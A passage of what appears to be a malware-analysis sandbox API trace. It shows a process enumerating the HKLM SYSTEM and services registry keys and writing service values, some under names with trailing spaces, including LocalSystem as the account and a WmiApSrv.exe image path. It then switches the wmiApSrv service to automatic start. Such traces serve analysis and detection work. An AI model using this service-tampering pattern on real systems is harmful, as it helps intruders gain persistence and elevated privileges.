RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.801] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0250.801] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.802] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.802] RegCloseKey (hKey=0x148) returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.803] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0250.803] RegCloseKey (hKey=0xc4) returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0250.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.804] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.804] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.804] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.804] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.804] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.804] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.805] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.806] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0250.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0250.806] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0250.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0250.806] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.806] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.806] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.806] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.806] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.806] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.806] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.807] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.807] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0250.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0250.808] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0250.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.808] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.809] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.809] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.809] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.809] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.809] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.809] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0250.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0250.809] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0250.809] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.809] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.809] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.810] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.811] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0250.811] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0250.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0250.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0250.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0250.811] LocalFree (hMem=0x7f03d0) returned 0x0 [0250.811] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0250.812] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x8038a0 [0250.813] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0250.815] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0250.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0250.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0250.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0250.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0250.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0250.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.816] RegCloseKey (hKey=0xc4) returned 0x0 [0250.816] RtlFreeHeap (HeapHandle=0x2520000, 